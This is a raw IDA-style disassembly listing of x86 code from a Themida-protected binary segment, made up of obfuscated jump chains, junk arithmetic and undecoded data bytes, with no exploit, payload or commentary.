loc_555B8C:				; CODE XREF: Themida_:0055BFE2j
		push	edi
		push	esp
		jmp	loc_555F2F
; ---------------------------------------------------------------------------
		db 53h
		dd 956397BBh, 4BD3F714h, 855BBD55h, 0EB31A974h,	5BDD095Dh
		dd 6693C581h, 0EDC10C84h, 4FED8106h, 0E9867A31h, 0FFFFAD56h
		dd 9CE58145h, 814E257Eh, 2E6D7EF5h, 5DEB2963h, 0EC83FB29h
		dd 240C8904h, 2FF5E9h, 241C8700h, 8F24248Bh, 835C2404h
		dd 0A30F04C4h, 0E99C2404h, 0FFFFABA3h, 4EC8351h, 50242C89h
		dd 243BE9h, 0CDE95300h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C03:				; CODE XREF: Themida_:00553799j
		sub	ebx, 0FFFFFFFFh
		add	ebx, 766F3FF8h
		mov	[eax], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_552FB7
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 0C5056F24h, 0ED2BE935h, 48BFFFFh, 4C48124h, 55000000h
		dd 6DE5BA52h, 0E9BD3E88h, 0E93E886Dh, 0FFFFCA4Ch, 68240C89h
		dd 1E163E59h, 0F7D9F759h, 1CE568D9h, 14890000h,	1116BA24h
		dd 0AE96F6Eh, 89000063h, 2434FF3Bh, 83243C8Bh, 0C48104C4h
		dd 4, 0FFBBC2E9h, 0E28952FFh, 4B850h, 0C2010000h, 0E19E958h
		dd 0EAC10000h, 0F363E902h, 0F480FFFFh, 58E72812h, 0FFBF0DE9h
		dd 241C89FFh, 0C381E389h, 4, 0E902C383h, 0FFFFC334h
; ---------------------------------------------------------------------------


loc_555CAC:				; CODE XREF: Themida_:00552238j
		push	ecx
		sub	dword ptr [esp], 1
		pop	ecx
		push	eax
		mov	eax, 0FA6902F1h
		sub	ecx, eax
		pop	eax
		jmp	loc_551CCD
; ---------------------------------------------------------------------------
		dd 31E9652Ch, 53FFFFC0h, 0B65A65BBh, 0CCC38127h, 5717140Ah
		dd 130B7ABFh, 0E9FB012Ah, 5CAh,	42474FFh, 5624148Bh, 0C681E689h
		dd 4, 6006E9h, 0B60F6600h, 4EC81CCh, 89000000h,	0C1E9243Ch
		db 7, 2	dup(0)
byte_555D07	db 66h			; DATA XREF: Themida_:0055066Co
		dd 5224048Bh, 0C281E289h, 4, 2425BE56h,	0DEF70076h, 0DBDFBB53h
		dd 0DE31FF89h, 14F6E9h,	24148B00h, 4C481h, 0D8000000h
		dd 8B68882Ch, 89000064h, 0BAE92414h, 89FFFFD6h,	34FF2404h
		dd 0E9555A24h, 690Ch, 0CB725DBFh, 0DABF5712h, 5344882Ah
		dd 32734CBBh, 5BDF2174h, 0DFF7DFF7h, 7978EF81h,	50531715h
		dd 3F01AD68h, 0BA055852h, 89F8A8D6h, 0DF3158C3h, 5FF9295Bh
		dd 6EE9F901h, 81000044h, 4C4h, 4C38100h, 53000000h, 42474FFh
		dd 2B63E9h
		db 0
; ---------------------------------------------------------------------------


loc_555DA1:				; CODE XREF: Themida_:0055C796j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55B11D
; ---------------------------------------------------------------------------
aIrqso		db '‰àQéŽ/',0
		align 4
dword_555DB4	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFA9CFh
					; DATA XREF: Themida_:005506FCo
; ---------------------------------------------------------------------------


loc_555DC4:				; CODE XREF: Themida_:00556355j
		sub	[esp+4], eax
		jmp	loc_559D62
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8358h, 0FFBCB0E9h, 2C481FFh, 80000000h, 0C328D7C3h
		dd 0B0505251h, 3047B6DBh, 885058C6h, 0DFEBE9F0h, 0C581FFFFh
		dd 5CBC894Eh, 1664E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E01:				; CODE XREF: Themida_:00555F4Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_556B95
		push	ecx
		jmp	loc_557F23
; ---------------------------------------------------------------------------
aUsR		db 'UéÊR',0
		dw 8900h
		dd 86BB53E1h, 0F7317B6Eh, 7EF381DBh, 1CE8491h, 0E9565BD9h
		dd 0AC8h, 4BA5258h, 1000000h, 8FE95AD7h, 5D000060h, 0C107E6C1h
		dd 0F68102EEh, 3EC30F41h, 0C108E6C1h, 0F68107EEh, 5AEEF009h
		dd 815EF329h, 4ECh, 0E67EE900h,	0BD55FFFFh, 1, 0ACE9EE89h
		dd 8B000009h, 4682424h,	89000065h, 22B7241Ch, 50BDEF80h
		dd 3E93DB4h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E8B:				; CODE XREF: Themida_:00553F7Ej
		mov	edi, [esp]
		jmp	loc_5535EC
; ---------------------------------------------------------------------------
aXsI		db 'XéÅi',0
		dd 58E63000h, 0F330DE30h, 0D3F6DE30h, 6866DE86h, 8966611Fh
		dd 0A4E92404h, 81FFFFBDh, 4C4h,	0C1DFF700h, 0F78102E7h
		dd 629F4811h, 12E95753h, 53000066h, 0FFD865E9h
		db 0FFh
byte_555ED1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005504C4o
		dd 592434FFh, 1ED9E9h, 94B500h,	0DEE959E8h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555EE7:				; CODE XREF: Themida_:00552FBFj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55C913
; ---------------------------------------------------------------------------


loc_555F01:				; CODE XREF: Themida_:0055AC97j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		jmp	loc_55779E
; ---------------------------------------------------------------------------
		db 81h
		dd 3B20ABEEh, 0D6F74E4Ch, 26BEE9h, 244C0100h, 64E95904h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F2F:				; CODE XREF: Themida_:00555B8Ej
		pop	edi
		jmp	loc_558B16
; ---------------------------------------------------------------------------
		db 4, 7, 0
		dd 4072CD8h, 2BF7E960h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F42:				; CODE XREF: Themida_:0055B25Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_555E01
		push	ebp
		jmp	loc_55A147
; ---------------------------------------------------------------------------


loc_555F57:				; CODE XREF: Themida_:00557A7Fj
		pop	esi
		mov	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_553534
; ---------------------------------------------------------------------------
		dd 31F3E95Bh, 0E3890000h, 4C381h, 0B9510000h, 5D2169F4h
		dd 21E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_555F81:				; CODE XREF: Themida_:0055333Aj
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 44D16626h
		shl	ebp, 7
		inc	ebp
		shl	ebp, 7
		xor	ebp, 59898084h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_55568F
		push	dword ptr [edi+1Ch]
		jmp	loc_557ECB
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 98h
		dd 66FFFFD5h, 6824048Bh, 71E8h,	0FFB628E9h, 0A7C5E9FFh
		db 2 dup(0FFh)
word_555FCE	dw 8B66h		; DATA XREF: Themida_:005504E4o
		dd 6855240Ch, 6B0Dh, 83242489h,	5D042404h, 3C5D68h, 24048900h
		dd 3C51BB53h, 0D8894E25h, 0E9241C8Bh, 1454h, 36B65266h
		dd 5A66F308h, 668DC380h, 0E9FAB050h, 13B4h, 2424D35Ch
		dd 0A77DE99Ch, 14F7FFFFh, 242C8B24h, 4C481h, 0BA520000h
		dd 69E20802h, 3718E9h
		db 0
; ---------------------------------------------------------------------------


loc_55602D:				; CODE XREF: Themida_:00553F2Cj
		pop	ecx
		add	edi, 4
		jmp	loc_5594FD
; ---------------------------------------------------------------------------


loc_556039:				; CODE XREF: Themida_:005509CAj
		pop	edx
		xor	edx, 415F6350h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	[edi+1Ch], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55529B
; ---------------------------------------------------------------------------


loc_556058:				; CODE XREF: Themida_:005556A2j
		mov	[esp], esi
		jmp	loc_55BE80
; ---------------------------------------------------------------------------
dword_556060	dd 240C8B66h, 173668h, 24348900h, 90685E54h, 0E9000044h
					; DATA XREF: Themida_:00550570o
		dd 53A0h
; ---------------------------------------------------------------------------


loc_556078:				; CODE XREF: Themida_:00558B0Cj
		mov	eax, [esp]
		jmp	loc_55A40E
; ---------------------------------------------------------------------------
aQsZ		db '´ŸéµZ',0
		dw 8900h
		dd 0E0892404h, 405h, 0AFBD5500h, 450A4E7Dh, 1B8ECD81h
		dd 0ED817230h, 6A2867B5h, 1807B850h, 0C5291056h, 0FFE737E9h
		dd 9B6851FFh, 89000026h, 4812424h, 424h, 240C8B00h, 4C481h
		dd 0C1810000h, 4, 4BE56h, 0F1010000h, 8324348Bh, 0C8704C4h
		dd 24248B24h, 0FFA6AAE9h
		db 0FFh
byte_5560E9	db 8Bh,	14h, 24h	; DATA XREF: Themida_:00550660o
		dd 6C9A68h, 3F07E900h, 3AB00000h, 52E96D04h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560FF:				; CODE XREF: Themida_:0055BF01j
		neg	edi
		xor	edi, 0EDECCA31h
		add	eax, edi
		pop	edi
		shl	eax, 8
		jmp	loc_55146F
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 8ABD55F1h, 0E972A807h, 0FFFFA753h, 0FFA66EE9h, 244481FFh
		dd 17174704h, 245C0158h, 246C8104h, 17174704h, 2434FF58h
		dd 0E981E95Bh, 6A89FFFFh, 0AE685D38h, 8900000Eh, 3068241Ch
		dd 5B000000h, 0F119E952h, 0B850FFFFh, 40C6A51h,	0E958C101h
		dd 0FFFFBE1Fh, 0AFE9D101h
		db 0C3h, 2 dup(0FFh)
byte_55616F	db 68h			; DATA XREF: Themida_:005505FCo
		dd 3DA4h, 83241C89h, 0C8904ECh,	0C8B5024h, 4C48324h, 6903E9h
		dd 3AE5BD00h, 2CE9290Fh
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556193:				; CODE XREF: Themida_:0055244Aj
		dec	esi
		add	esi, 0DC988255h
		jmp	loc_558017
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048966h, 0FFACD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5561A9:				; CODE XREF: Themida_:005553FBj
		sub	edi, 75585150h
		add	edi, ebp
		add	edi, 75585150h
		mov	ebp, [esp]
		jmp	loc_559B35
; ---------------------------------------------------------------------------


loc_5561BF:				; CODE XREF: Themida_:00554D5Bj
		sub	esp, 4
		mov	[esp], ecx
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		add	esi, ebp
		jmp	loc_55302D
; ---------------------------------------------------------------------------
aIuws		db '‰ãWé¿-',0
		align 2
		dw 8166h
		dd 0FF02246Ch, 280AE930h, 68510000h, 0ABh, 0FFB367E9h
		dd 53D801FFh, 2745E9h, 41685100h, 8B6C8010h, 0C481240Ch
		dd 4, 6B9BB53h,	0D8010177h, 2DC8295Bh, 17706B9h, 53240C8Bh
		dd 65AE9h, 0B185B400h, 0A3E98090h, 17BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_556231:				; CODE XREF: Themida_:00553956j
		add	ecx, 41B80C5Ch
		pop	esi
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		push	258Ah
		jmp	loc_5587AD
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 0EC8304C4h, 24148904h, 7488EE88h,	79E90187h
		dd 81000050h, 4ECh, 242C8900h, 4BDh, 5DEB0100h,	2474FF53h
		dd 48F5B04h, 0C6815C24h, 4, 2C681h, 34870000h, 24248B24h
		dd 24040166h, 0A4E9E99Ch, 575FFFFFh, 0FFD36DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5562B1:				; CODE XREF: Themida_:00552979j
		mov	[esp], esi
		mov	esi, 3CAA38C2h
		or	esi, 7BD6F92h
		shr	esi, 1
		jmp	loc_554BC1
; ---------------------------------------------------------------------------


loc_5562C6:				; CODE XREF: Themida_:0055C7FDj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	20DAh
		mov	[esp], ebp
		push	ebx
		jmp	loc_552999
; ---------------------------------------------------------------------------


loc_5562DF:				; CODE XREF: Themida_:00551CCEj
		sub	dword ptr [esp], 689B2133h
		jmp	loc_552524
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2241489h, 66D000BBh, 59D4045Ah, 0D828F12Ch, 5366F104h
		dd 0F8002CB7h, 241C8B66h, 5302C483h, 84B05052h,	88C38853h
		dd 7AE95BDEh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55631B:				; CODE XREF: Themida_:0055B8F0j
		pop	ecx
		jmp	loc_5564AA
; ---------------------------------------------------------------------------
aL4Sh		db '‹4$éH',27h,0
		dd 0D5F74D00h, 1D83E9h
		db 0
byte_556331	db 64h,	66h, 8Bh	; DATA XREF: Themida_:00550650o
		dd 0E7EAE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55633A:				; CODE XREF: Themida_:00554AFFj
		add	edi, 287F6381h
		xor	edi, 15767C7Dh
		push	edi
		add	dword ptr [esp], 7E2D16B7h
		pop	eax
		sub	eax, 7E2D16B7h
		pop	edi
		jmp	loc_555DC4
; ---------------------------------------------------------------------------


loc_55635A:				; CODE XREF: Themida_:0055A1F4j
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5571BE
; ---------------------------------------------------------------------------
		db 53h
		dd 22E9E389h, 59FFFFECh, 4C181h, 0C1830000h, 240C8704h
		dd 0E9F0015Ch, 0FFFFEFDDh, 0A5E9E389h, 4FFFFBFh, 2CD82831h
		dd 0EE00E931h, 0B652FFFFh, 0E9F308FCh, 53DDh, 0EA81D2F7h
		dd 35CB39F2h, 5196F281h, 0C2812554h, 6CD96BAAh,	2C6AEA81h
		dd 0D6299B4Ch, 0E9C6015Ah, 4698h
; ---------------------------------------------------------------------------


loc_5563C8:				; CODE XREF: Themida_:005588FFj
		push	0
		sub	[esp], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5540B6
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4C08300h, 5C240487h, 0FFA3A2E9h
		db 0FFh
byte_5563F1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005506ECo
aSs		db '$éé\',0
		align 2
		dw 8B66h
		dd 1268240Ch, 89000068h, 3AE9243Ch, 81FFFFF5h, 441508C5h
		dd 5114E911h, 7DBB0000h, 0F71E0C5Ah, 0CDD7E9DBh, 0C481FFFFh
		dd 4, 8904EC83h, 5CBA2414h, 0E90A3B64h,	1C27h, 68E9D801h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55643F:				; CODE XREF: Themida_:00555493j
		or	eax, eax
		jz	loc_551845
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_556E53
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 148904ECh, 5AF2BA24h, 0C281788Eh,	7A0D6B22h
		dd 1294CA81h, 0EA8343FFh, 0E7F281FFh, 8163791Ch, 86CA76F2h
		dd 5AD72990h, 553AE9h, 8AC68100h, 8B47D51Dh, 0EC81241Ch
		dd 4, 89240489h, 4BD55E0h, 1000000h, 0CEBE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564AA:				; CODE XREF: Themida_:0055631Cj
		push	eax
		jmp	loc_55BB32
; ---------------------------------------------------------------------------
		dd 4C381h, 1C330000h, 241C3124h, 5C241C33h, 0E9241C87h
		dd 0FFFFAACFh, 2434FF54h, 83243C8Bh, 4BE904C4h,	8AFFFFFFh
		dd 88032474h, 0E9032444h, 91Eh
; ---------------------------------------------------------------------------


loc_5564E4:				; CODE XREF: Themida_:00555551j
		pop	ebp
		and	eax, edx
		pop	edx
		jmp	loc_55A1CC
; ---------------------------------------------------------------------------
		db 58h,	48h, 25h
		dd 2BDF5DAFh, 15D7652Dh, 58C689F6h, 0C7E9D6F7h,	66000033h
		dd 5E66F131h, 7BC98166h, 0C1816614h, 296617CDh,	0CDE959C8h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55651B:				; CODE XREF: Themida_:00553D57j
		push	0DBFh
		mov	[esp], ebp
		mov	ebp, 76517C20h
		push	edx
		mov	edx, 25DE45FEh
		shl	edx, 4
		neg	edx
		and	edx, 7F5A1534h
		and	edx, 78456656h
		jmp	loc_552549
; ---------------------------------------------------------------------------
		dd 4B9h, 0FFCB0100h, 0C8B2434h,	4C48124h, 83000000h, 0EC8304C4h
		dd 24148904h, 211CE9h, 4C48100h, 81000000h, 4C3h, 4EC8300h
		dd 68241489h, 2, 8F9E95Ah, 0EC810000h, 4, 2AB0E9h, 50EF8100h
		dd 1176021h, 50C781C7h,	81176021h, 0D338B4C7h, 0F88AE950h
		dd 1C33FFFFh, 0CE44E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565AE:				; CODE XREF: Themida_:005579A9j
		xchg	edx, [esp]
		jmp	loc_559D35
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 5D042474h, 8B24048Fh, 4892424h, 0A1C9E924h, 1B2FFFFh
		dd 5A66D300h, 0FFCE0AE9h, 0A6E959FFh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565DB:				; CODE XREF: Themida_:0055A741j
		push	0C1C76DDh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_559FF7
; ---------------------------------------------------------------------------
		dd 0C181C101h, 698529F7h, 8B2434FFh, 0C4812404h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_558839
; ---------------------------------------------------------------------------


loc_55661C:				; CODE XREF: Themida_:00552DBAj
		add	edx, 0B95E2450h
		push	eax
		push	ecx
		mov	ecx, 59C14CE4h
		mov	eax, 59C14CE3h
		jmp	loc_551D1A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 46CE5FE1h, 6A90EA81h, 0C229595Fh, 1CBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_556645:				; CODE XREF: Themida_:0055B464j
		not	edi
		neg	edi
		xor	edi, 8F22B8D1h
		sub	ebp, edi
		pop	edi
		shr	ebp, 1
		sub	ebp, 6FC5E494h
		xor	ecx, ebp
		pop	ebp
		sub	ecx, 1
		xor	ecx, 35012473h
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_553E2E
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 89535C24h,	4C381E3h, 0E9000000h, 0FFFFE203h
		dd 88F78853h, 44E95BF8h, 49FFFFFEh, 1BB53h, 0D9290000h
		dd 81241C8Bh, 4C4h, 7C18100h, 519FDFB1h, 6A242C81h, 58355247h
		dd 52476A05h, 38A3E935h
		db 2 dup(0)
word_5566BE	dw 8B66h		; DATA XREF: Themida_:0055056Co
		dd 7C682404h, 89000068h, 8956242Ch, 4C681E6h, 81000000h
		dd 4EEh, 41B7E900h, 0E7890000h,	397ABA52h, 0E2812552h
		dd 23250F52h, 0F6B2C281h, 0D701DEFFh, 4C7815Ah,	87000000h
		dd 48E9243Ch
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556703:				; CODE XREF: Themida_:0055300Bj
		push	1D04h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 121658Ah
		jmp	loc_5581E3
; ---------------------------------------------------------------------------
		dd 9C240CD3h, 0FFA072E9h, 24248BFFh, 9C243CD2h,	16E9E9h
		dd 243C8900h, 0B1AE9h, 81FB0100h, 130601EBh, 2434FF12h
		dd 0D9B0E95Fh, 0EB29FFFFh, 18CCEB81h, 15D2179h,	0AFBA52F3h
		dd 165F250h, 24148BD3h,	5E04C483h, 31241C33h, 1C33241Ch
		dd 85665C24h, 20E99CC8h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556773:				; CODE XREF: Themida_:00553BAAj
		pop	ebp
		mov	ecx, edx
		pop	edx
		jmp	loc_552D41
; ---------------------------------------------------------------------------


loc_55677C:				; CODE XREF: Themida_:00552BA5j
		inc	ecx
		jmp	loc_55B222
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 9CC83B66h, 0FFA002E9h, 685E54FFh,	74FCh
		dd 5C25E9h
		db 0
byte_55679D	db 0ADh, 0E9h, 8Ch	; DATA XREF: Themida_:005505E4o
		dd 81FFFFC5h, 4C1h, 0BFBB5300h,	0E9717B0Eh, 4BEDh, 0E92434FFh
		dd 0FFFFE98Ch, 5324148Bh, 0BFE9E389h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5567C7:				; CODE XREF: Themida_:005575EFj
		push	esi
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	edx
		push	esp
		pop	edx
		jmp	loc_5557CB
; ---------------------------------------------------------------------------
		db 45h
		dd 67CDF581h, 0B850260Fh, 23A99CD1h, 8958C529h,	0F3815DEBh
		dd 3B4326BAh, 0E3C1D3F7h, 8E3C103h, 0CB97C381h,	35E9E219h
		dd 81FFFFFCh, 0D15079EDh, 5DE90137h, 0FFC608E9h, 81E289FFh
		dd 4C2h, 0E3E95700h, 5D000013h,	1E9F021h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556827:				; CODE XREF: Themida_:005554A2j
		pop	ebx
		and	ah, 0EDh
		jmp	loc_552045
; ---------------------------------------------------------------------------
		dd 0D0B75366h, 46E9FC28h, 89FFFFACh, 2BE9241Ch,	47FFFFF7h
		dd 147E9h, 24048F00h, 6824248Bh, 7C8Ch,	68240C89h, 5CAEh
		dd 0FFA42AE9h, 5EB551FFh, 10E9EC00h, 5A00001Dh,	0D035E95Fh
		dd 3433FFFFh, 24248B24h, 76E9E9F6h, 68FFFFF4h, 2BFh, 81242489h
		dd 42404h, 815B0000h, 4C3h, 0EFE95500h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55689B:				; CODE XREF: Themida_:00555B87j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		jmp	loc_5597BF
; ---------------------------------------------------------------------------
		dw 0E480h
		dd 64C480DBh, 48BE708h,	4C48324h, 0FFE3FAE9h
		db 0FFh
byte_5568C1	db 83h,	0ECh, 4		; DATA XREF: Themida_:00550500o
		dd 89241489h, 4C281E2h,	0E9000000h, 0FFFFDE23h
; ---------------------------------------------------------------------------


loc_5568D4:				; CODE XREF: Themida_:00552590j
		push	71EFh
		mov	[esp], ebx
		mov	ebx, 2FCC3298h
		not	ebx
		inc	ebx
		sub	ebx, 1985596Ch
		sub	ebx, 0B6AE73F8h
		mov	edi, ebx
		pop	ebx
		jmp	loc_553A84
; ---------------------------------------------------------------------------
		dd 4BEh, 8AE95600h, 5C000060h, 2C681h, 4DE90000h, 80FFFFB2h
		dd 0F328F1C6h, 8324148Bh, 0EB8004C4h, 66C3003Ah, 0F646B151h
		dd 0A7C180D1h, 5306E1C0h, 0E4E93EB7h, 66000051h, 0E9240489h
		dd 0FFFF9E57h, 204EFE68h, 0E9415960h, 0FFFFFD4Bh, 2190F181h
		dd 0CD2951F6h, 0E9E80159h, 59E7h, 5C24048Fh, 9C242CD2h
		dd 0FF9E2EE9h, 240487FFh, 2434FF5Ch, 0E3895358h, 0DE95556h
		dd 8900003Ah, 0B9512434h, 61336176h, 61E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_556985:				; CODE XREF: Themida_:00550EFDj
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_558807
; ---------------------------------------------------------------------------
		dd 3EEBBA52h, 0D72169A1h, 22C7815Ah, 1FFFEE9h, 2CCFE9F9h
		dd 89510000h, 0BEA7E9E1h
		db 2 dup(0FFh)
word_5569AE	dw 248Bh		; DATA XREF: Themida_:005504F4o
		dd 9DDDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5569B6:				; CODE XREF: Themida_:00558314j
		mov	[esp], eax
		mov	eax, ecx
		push	2514h
		mov	[esp], eax
		pop	dword ptr [edi+20h]
		pop	eax
		jmp	loc_556B94
; ---------------------------------------------------------------------------


loc_5569CC:				; CODE XREF: Themida_:00552F5Cj
		mov	edi, 49691A01h
		sub	edi, 476E7D0Bh
		shr	edi, 5
		add	edi, 4563463h
		inc	edi
		add	edi, 3A6D4E05h
		add	[esp+4], edi
		jmp	loc_55116E
; ---------------------------------------------------------------------------


loc_5569F0:				; CODE XREF: Themida_:0055A595j
		push	ebx
		mov	ebx, 4822763Dh
		neg	ebx
		xor	ebx, 0DD90CD35h
		shl	ebx, 6
		push	eax
		mov	eax, 6CAEC284h
		sub	ebx, 1F06218Eh
		add	ebx, eax
		add	ebx, 1F06218Eh
		pop	eax
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_559F90
; ---------------------------------------------------------------------------
		dd 2BDh, 5DEA2900h, 5C241487h, 242C8966h, 2BD66h, 24448166h
		dd 6630FF02h, 2246C01h,	0FFF799E9h, 36F381FFh, 1DB730Ah
		dd 0D8295BD8h, 9D1A4D2Dh, 0A826824h, 34890000h,	73BD5524h
		dd 0F779A90Dh, 3BB8E9DDh, 0C310000h, 240C3324h,	0A30F665Ch
		dd 0E99C2404h, 0FFFF9D17h, 66F73166h, 3166FE31h, 665666F7h
		dd 0E9240C87h, 0FFFFB715h
dword_556A90	dd 24048B66h, 4EC81h, 8EE90000h, 55FFFFFCh, 284193BDh
					; DATA XREF: Themida_:00550548o
		dd 0D5F7453Dh, 0FFE40CE9h, 0E7EE81FFh, 293EF573h, 0E7C681C6h
		dd 513EF573h, 0C889F189h, 0E0D15E59h, 2A4BF50Dh, 3E8C152h
		dd 0B8EA0548h, 0C73113DBh, 12EF8158h, 2992F877h, 243C8BF8h
		dd 8304C483h, 1C8904ECh, 0A0BD5524h, 0F726CF57h, 0F300E9DDh
		dd 0D366FFFFh, 0E99C240Ch, 0FFFF9C93h
; ---------------------------------------------------------------------------


loc_556B00:				; CODE XREF: Themida_:00550EA5j
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_556F53
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 51000000h, 4B9h, 59CD0100h, 5FA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_556B1D:				; CODE XREF: Themida_:00556BB5j
		add	esi, edi
		push	eax
		mov	eax, 34B64FF2h
		push	edi
		mov	edi, 1
		add	eax, edi
		pop	edi
		sub	eax, 339412C1h
		sub	esi, 3F537543h
		add	esi, eax
		add	esi, 3F537543h
		jmp	loc_5518A5
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2, 2474FF53h, 2434FF04h, 0FFDE3CE9h,	8B5853FFh, 8957241Ch
		dd 4EC83E7h, 22FE9h, 240C8B00h,	0FFE6EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B71:				; CODE XREF: Themida_:00557B55j
		add	eax, 33C25678h
		pop	ebx
		and	ecx, eax
		pop	eax
		shr	ecx, 7
		jmp	loc_554ADA
; ---------------------------------------------------------------------------


loc_556B82:				; CODE XREF: Themida_:0055A020j
		push	13F249FCh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		jmp	loc_5527F5
; ---------------------------------------------------------------------------


loc_556B94:				; CODE XREF: Themida_:005569C7j
		pop	ecx


loc_556B95:				; CODE XREF: Themida_:005510B0j
					; Themida_:00555E05j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 32381C41h
		shr	edi, 1
		sub	edi, 191C0E1Ch
		sub	esi, 1223D32h
		jmp	loc_556B1D
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 1000000h, 0F685BDEh,	89000011h, 74FF2434h, 8F5E0424h
		dd 4EE92404h, 52000044h, 53FC8850h, 0FE88E788h,	24048B5Bh
		dd 0E904C483h, 122Fh, 242C875Fh, 4044E9h, 59505D00h, 8BC83158h
		dd 0EC83240Ch, 24148904h, 0FFFC08E9h, 80C1FEFFh, 79E9FFC1h
		dd 8B000028h, 0C4812404h, 4, 0FF9B72E9h, 240C89FFh, 480268h
		dd 24248900h, 4B850h, 6C810000h, 5FA70424h, 44017676h
		dd 44810424h, 5FA70424h, 59587676h, 0FFDB0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C4D:				; CODE XREF: Themida_:00551FADj
		or	bl, 1
		shr	bl, 7
		add	bl, 9
		xor	bl, 59h
		add	dh, 0Ch
		jmp	loc_55958F
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0Eh
		dd 2CE91E2Ch
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C6B:				; CODE XREF: Themida_:005529A4j
		push	edi
		mov	edi, 10C22575h
		shr	edi, 7
		sub	edi, 0EDE5EA2h
		xor	edi, 5DC76B41h
		and	edi, 60CA7A4Ah
		sub	edi, 61471726h
		add	edi, 0A352D540h
		or	ebx, edi
